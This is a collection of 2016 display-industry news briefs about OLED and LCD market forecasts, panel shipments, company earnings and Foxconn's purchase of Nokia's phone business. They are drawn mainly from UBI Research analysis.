The president of UBI Research, Choong Hoon Yi explained that China’s future mobile OLED demand volume is difficult for China’s key panel companies such as BOE, and even for mobile OLED leader Samsung Display it is not easy to supply sufficient amount with existing mass production line. He estimated that Samsung Display, to meet the demand, will require additional installation of at least 20-30K OLED mass production line to Gen5.5 A2 line.

Next 5 Years Global Gen8 LCD → OLED Complementary Investment USD 6,674 million…Korea 81%

2016-2020, global Gen8 complementary investment ( LCD → OLED ) is expected to be total USD 6,674 million.

Hyunjoo Kang / jjoo@olednet.com

For the next 5 years, 2016-2020, global Gen8 (8G) complementary investment ( LCD → OLED ) is expected to be total USD 6,674 million.

According to 2016 OLED Manufacturing Equipment Annual Report, recently published by UBI Research, Korea’s 8G complementary investment in 2016-2020 is estimated to be USD 5,400 million, 81% of the global USD 6,674 million. Particularly, complementary investment for large area LCD line to OLED is expected to be actively carried out centering around LG Display.

China is estimated to actively operate new large are LCD lines from 2016. To respond to this move, Korean panel companies are expected to transform 8G a-Si LCD lines located in Korea to OLED line from 2016.

To respond with LCD, China’s supply offensive and price competitiveness are too strong. As such, the situation calls for concentrated efforts in OLED.

Gen8 LCD line became the object of complementary investment as it can be easily converted to OLED compared to small-to-medium size LCD line. 8G LCD line’s a-Si TFT can be turned into oxide TFT used in Gen8 OLED line cost effectively.

Sharp Increase for Q2 LGD’s 65“ OLED Shipment… OLED TV Enlargement Gaining Momentum

LGD`s 65“ OLED TV Panel

Hyunjoo Kang / jjoo@olednet.com
LG Display sharply increased their Q2 2016 65 inch OLED panel shipment. It is analyzed that OLED TV is entering active market growth and enlargement stages.
According to UBI Research, LG Display recorded approximately 140,000 units of OLED panels for TV in Q2 2016. Of this, 65 inch panel for large size TV is approximately 28,000 units, double the Q1 volume.
That LG Display greatly increased 65-inch OLED panel shipment is analyzed to show increased OLED TV companies in global TV market, and as a response to rising demand for 60 inch mark panels exceeding 50 inch. Recently, many TV companies, including Germany’s Loewe and Metz are known to have joined OLED sector. According to UBI Research, China’s TV company Skyworth received about 30,000 units of OLED panel from LG Display this year.
Additionally, the fact that as the panel increases in size, the price competitiveness difference with LCD decreases is analyzed to contribute to LG Display’s focus on panel larger than 60 inch.
LG Electronics has been reducing OLED equipped TV price as the low price competitiveness compared to LCD TV presented difficulty in convincing consumers. However, experts believe that as the size increases the price difference between OLED and LCD decreases.
On 19 July, LG Electronics revealed 77 inch OLED TV, demonstrating focus on pioneering ultra-large OLED TV market.

AUO , Q2 Sells More LCD Earns Less…Taiwanese LCD Industry Still Affected by Price Fall

출처 = AUO

Source = AUO

Hyunjoo Kang / jjoo@olednet.com

LCD shipment of AU Optronics (AUO) in Q2 2016 increased but revenue decreased.

AUO recently announced that they recorded revenue of NTD 80.09 billion (approx. USD 2,478 million) in Q2 2016. This is an increase of 12.6% from the previous quarter but down 13.2% from Q2 2015.

AUO’s panel shipment in Q2 was 70.96 million units with 28.46 million units of 10-inch and above panels, and 42.5 million units of 10-inch and below panels. The large size panels increased by 16.5% QoQ, and by 14.3% YoY. The small to medium size panels increased by 12.6% QoQ, and by 11.5% YoY.

Basically, this company sold more and earned less demonstrating that LCD price fall aftermath continued into Q2.

The H1 2016 revenue of Novatek, Taiwan’s LCD driver IC company, fell by 10.9% compared to H1 2015. LCD surface mount company TSMT’s Q2 revenue fell by 10.1 compared to Q2 2015.

Q1 New OLED Product, Smartphone·Wearable Rapid Increase…LG Maintains TV Monopoly

Galaxy S7 edge ( Source = Samsung )

Hyunjoo Kang / jjoo@olednet.com

Of the new OLED display equipped products released in Q1 2016, smartphone and wearable products significantly increased compared to the same period in 2015. However, for OLED TV sector, no news was reported in Q1 other than LG Electronics’ new product.

According to UBI Research, 17 new OLED equipped smartphones were released in Q1 2016. This is 4 more than Q4 2015, and 12 more than Q1 2015. Of these, Samsung Electronics released 4 smartphones including Galaxy S7 and S7 Edge, responsible for the largest proportion. Following Samsung, ZTE, Gionee, Acer, and BLU each launched 2 OLED smartphones, and Vivo, HiSense, Konka, HP, and Microsoft released 1 each. Of the companies, 6 are from Greater China Region.

For OLED equipped wearable new products, 7 were released in Q1, 2 more than Q4 2015, and 4 more than Q1 2015. Sony, Oculus, HTC, and Sulon released new VR products. Epson released smartglasses, and Fitbit and Intex released smartbands. OLED wearable market showed much activity in Q2 2014 with over 20 new products centering around smartwatch and smartband products, which quietened down since then. However, with recent new releases of VR and smartband devices, the market is being rejuvenated.

LG is still dominating the OLED TV market. LG Electronics was the only company to release new OLED TV in Q1, and released 4 products in 55 inch – 77 inch. The market showed some movement in Q1 2016 when several Chinese companies, including Haier and Changhong, released OLED TV. However, since then the market, except for LG, has been quiet. This is analyzed to be due to high price of large area OLED panel, panel supply shortage, etc. In Q2, China’s Skyworth released a new product but the sales are known to be less than anticipated.

One expert explained that large area OLED still have issues that need to be solved compared to small OLED including price competitiveness. He added that latecomers such as Chinese companies are slow to select OLED for TV compared to smartphone.

Panel Shortage for Chinese Smartphone Industry…Supply Discussion with Taiwanese Panel Companies

ZTE`s Smartphone (출처=GSMARENA)

ZTE`s Smartphone (출처=GSMARENA)

Hyunjoo Kang / jjoo@olednet.com

Recently, DigiTimes reported that Chinese smartphone companies are discussing supply with Taiwanese panel companies due to panel shortage. According to the report, executives of Chinese smartphone companies such as ZTE, Vivo, GiONEE, etc. and Chinese panel companies including Truly recently met with Taiwanese panel companies, AUO, Innolux, Chunghwa Pictures Tubes, etc.

The reason that Chinese smartphone companies are experiencing the panel shortage is known to be because their panel suppliers reduced smartphone panel production due to too low prices. However, DigiTimes reported that Huawei is receiving relatively sufficient amount of panels from BOE, Tianma, etc.

Meanwhile, Skyworth, one of key Chinese OLED TV selling companies, showed lower than anticipated OLED TV sales in financial year of 2015 which ended in March. Chinese media reported that this is due to insufficient supply of OLED panel from LG Display.

Ambitious Foxconn, Buys Nokia Mobile Phone Business

Foxconn buys Nokia mobile phone business (Source: Foxconn)

Hyunjoo Kang / jjoo@olednet.com

Foxconn, which became a focus of global attention with the Sharp takeover, bought Nokia ’s mobile phone business.

It is reported that FIH Mobile Ltd, a subsidiary of Foxconn, bought Nokia’s feature phone business from Microsoft for USD 350 million. Accordingly, Foxconn now controls Nokia feature phone’s manufacturing, sales, and distribution. Foxconn also signed strategic partnership with HMD global that oversees product development and sales. HMD global is expected to invest USD 500 million for the development of Android-based smartphone, tablet, and feature phone for the next 5 years.

Foxconn took over Sharp in March, earlier this year. With this takeover, Foxconn is estimated to acquire LCD mass production line and also gradually be equipped with OLED mass production line for mobile device and TV. DigiTimes research estimates that Foxconn will mass produce OLED panel for smartphone from 2018 and begin OLED panel mass production for TV from 2021.

Some sections of securities industry have suggested that Foxconn’s takeover of Sharp allows for vertical integration of Sharp panels, and business expansion to include set such as smartphone and TV will be possible.

That Foxconn purchased Nokia’s mobile phone business after strengthening display mass production area reinforces this idea. It could be understood as a resolve to renew itself as a set company with their own brand surpassing their main business OEM.

Some are anticipating Nokia’s return as the mobile phone leader of the past with the Foxconn’s purchase of Nokia’s mobile phone business. However, the business still struggled even after Microsoft’s takeover move in 2014 worth EUR 5,400 million. As such, many believe that it will not be easy for Nokia to reclaim their former success.

“Apple, to Use OLED More than Samsung Elec. from 2021” – UBI

Apple, to Use OLED More than Samsung Elec. from 2021 – UBI

UBI Research’s Yi is Analyzing Market related to Apple’s OLED Selection

Hyunjoo Kang / jjoo@olednet.com

A forecast that Apple will apply more OLED than Samsung Electronics from 2021 has been suggested.

On 13 May, UBI Research hosted OLED Investment Analysis Seminar titled The Effects that Apple will have on Display Industry in Seoul, Korea. At this event, UBI Research’s Choong Hoon Yi estimated future flexible OLED smartphone market share.

According to Yi, Apple is to begin releasing flexible OLED iPhone from 2017, and occupy 8% of the global flexible OLED smartphone market in that year. Following this, Yi analyzed that Apple will continue to increase market share each year to record 32% in 2020, same as Samsung Elec., and exceed Samsung Elec.’s 27% with 37% in 2021.

For 2015 and 2016, with the market share of over 70% of the global flexible OLED smartphone market, Samsung Elec. is dominating the market. However, Apple is expected to release OLED iPhone from next year, and iPhone market share is increasing within the smartphone market. Yi believes that Apple’s OLED usage will exceed that of Samsung Elec.’s.

UBI Research estimates that the smartphone market will grow at CAGR of 6% in 2016-2021, and overall shipment will increase. Of these, Samsung Elec. has been outdistancing Apple and greatly increasing the market share until 2013. However, since 2014, Samsung Elec.’s market share has been gradually decreasing while Apple’s is increasing.

At the seminar, Yi told the attendees that Apple is selling approximately 220 million units of iPhone per year, but the number is expected to increase to 300-million-unit mark and of 30% of that, 1,00-million-unit mark, are estimated to be OLED equipped products. He added that this will grow to 4,00-million-unit mark in 2020, and 80% of that is estimated to be OLED.

With Apple’s section of OLED, the competition for the product supply between global display companies is expected to be fierce. Yi forecast that Samsung Display will supply 60% of the demand, the second supplier 30%, and the rest 10%.

LG Display and Japan Display were likely to be the second and third suppliers. However, Apple’s steadfast partner, Foxconn took over Sharp and became a strong candidate for this position. Hence, 4 companies could end up supplying to Apple. Yi added that one company of JDI and Foxconn could be pushed out.

Panel companies’ mass production establishment investment for product supply for Apple is also being carried out. Samsung Display is expected to execute 45-60K investment in flexible AMOLED line this year. LG Display is carrying out Gen6 7.5K investment in Gumi, with prospect of additional 7.5K order this year.

JDI also announced smartphone AMOLED panel mass production in January 2016 aiming for mass production in 2018. There is a possibility of investment for AMOLED supply for iPhone. Yi also estimated that Apple will conclude OLED emitting materials company selection by this August or September.

Furthermore, Yi explained that a human eye is more sensitive to contrast compared to brightness. He emphasized that OLED, with its contrast ratio of 1,000,000:1 is a more human friendly display than LCD and its 3,000:1.

At the seminar, LG Economic Research Institute’s Senior Consultant Wookeun Lee also analyzed the market with the theme of The Effects that Apple’s OLED Selection will have on Korea and China’s Display Industry.

 

2016 AMOLED Market, UBI Forecasts USD 14.8 Billion, IHS 15 Billion…Rapid Growth

2016~2020 AMOLED Market (Source = UBI Research)

Hyunjoo Kang / Reporter / jjoo@olednet.com

The global AMOLED market is estimated to record USD 15 billion in 2016.

According to IHS, market research company, 2016 global AMOLED market is expected to record USD 15 billion, an increase of 25% from 2015. IHS estimates that OLED’s low yield and lifetime are improving, and new markets such as VR are expanding.

IHS’ forecast is similar to UBI Research’s estimation of USD 14.8 billion.

According to UBI Research’s 2016 OLED Display Annual Report, the global AMOLED market is expected to record USD 14.8 billion and maintain the high growth at CAGR of 49% until 2020. The company estimates that the fast growth will be possible due to active mass production of OLED panel for TV and flexible OLED panel for mobile device, and the start of latecomers’ mass production.

Both research companies expect high growth for OLED panel for smartphone and TV.

IHS forecasts that OLED equipped smartphone will occupy up to 21% of the total smartphone market, an increase of 4% from 2015. Furthermore, the company estimates that the OLED TV panel shipment will increase to over 900,000 units, an increase of 125% from last year.

For UBI Research, the company expects the shipment of 4-6 inch panel for smartphone to be 242.9 million units in this year’s OLED panel market. The shipment for 55 inch or larger large size panel for TV is expected to be 1.2 million units.

Meanwhile, this rapid growth of AMOLED market is being led by Korea. 2016 OLED Display Annual Report estimates that AMOLED panels to be produced in Korea are expected to be approximately 270 million units and occupy about 95% of the total shipment. Korea is also estimated to occupy 96% of the revenue for this market in 2016 with USD 14.218 billion.

 

Not Only Samsung and LG, but Also BOE and AUO…Panel Profit Plunges due to LCD

Source = BOE

Source = BOE

 Hyunjoo Kang / Reporter / jjoo@olednet.com

Although Samsung and LG both had smooth Q1 2016 for set businesses including TV, display sectors were different. The majority of the industry believes that global oversupply of LCD’s effects was great. Key LCD players in China, who could be seen as responsible for the LCD oversupply, also showed bleak performance. Key global LCD panel companies, including BOE and AUO, also revealed much reduced Q1 2016 profit.

On 28 April, Samsung Electronics and LG Electronics announced that the business profit in Q1 2016 improved. Samsung Electronics recorded KRW 6.68 trillion business profit, a 12% increase compared to Q1 2015. LG Electronics also announced operating profit of KRW 505.2 billion, up 65.5% from last year. Both companies emphasized favorable TV business.

On the other hand, Samsung and LG both received significant damages in display sector. In Q1 2016, Samsung Display recorded operating loss of KRW 270 billion. Samsung Display recorded a profit against expectations. However, the business profit of KRW 39,500 million in Q1 2016 is a 94.7% fall from last year.

Not only Samsung and LG, but display leaders in Greater China region also showed much diminished performance. BOE, which has been aggressively investing in large area LCD mass production, showed a 6.7% increase from previous year with approximately CNY 12,300 million for Q1 2016 revenue. In Q1, BOE showed business profit of CNY 108 million, but profit ratio plummeted compared to the same period in 2015. The profit ratio in Q1 2016 fell to 0.8% from 8% in Q1 2015. On 28 April, Taiwan’s AUO also revealed TWD 5.58 trillion business loss in Q1 2016.

BOE and AUO are both key players within the global LCD TV panel industry, and within the top 5 in the Greater China region. BOE, in particular, is chasing the leader LG Display with aggressive product supply. The fact that BOE recorded dismal results despite this is analyzed to be due to price fall due to the oversupply of LCD and spread of OLED among others.

For global OLED leader for mobile device, Samsung Display, was known to have recorded deficit of approximately KRW 900 billion in LCD despite Samsung Electronics’ strength in OLED smartphone. Essentially, LCD eroded the profit that OLED brought. For LG Display, experts believe that as a leader of OLED for TV market, the company could avoid deficit by making up for the damages from the LCD price fall.

An expert of the display industry explained that LCD leaders such as BOE might have expanded market share with the product supply, but would have received significant damage in profit ratio. However, he explained that compared to 30 inch LCD panel, 50 inch and 60 inch level large area LCD panel received less fallout from the price fall. He then estimated that as the large size TV demand is increasing, the LCD industry could be improved in Q2.